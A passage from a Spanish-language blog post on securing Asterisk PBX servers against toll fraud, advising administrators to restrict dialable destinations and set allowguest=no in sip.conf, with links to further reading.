En este caso, estaríamos permitiendo a cualquiera que mande un INVITE, realizar llamadas a cualquier destino (sin necesidad de tener una cuenta registrada). Esto, aunque parece una tontería, ocurre mucho. Es un fallo tonto de configuración que nos puede salir muy caro. Y una muestra de que sigue ocurriendo esto es el ataque que hemos recibido tratando de sacar llamadas.


Los ejemplos los he intentado poner lo más sencillos posibles para una mejor comprensión, pero en realidad podemos (y debemos) discriminar los posibles destinos a los que permitimos llamar, y no poner .X_


Otra buena opción es poner en sip.conf la variable allowguest=no (que por defecto viene a yes, no se porqué) y que impide realizar llamadas a usuarios que no están dados de alta en el sistema.


Para comprobar si tu Asterisk es seguro puedes acceder aquí.


Y como lectura obligada:

http://www.sinologic.net/2007-05/una-configuracion-incorrecta-puede-costarte-mucho-dinero/

http://www.sinologic.net/blog/2009-02/la-voip-mal-configurada-llama-a-cuba/

http://www.sinologic.net/blog/2010-04/test-sip-sinologic/



Si quieres ver las posibles consecuencias de este tipo de ataques mira esto:

Warning! : Un Asterisk nos ha costado 15.000 Euros en un día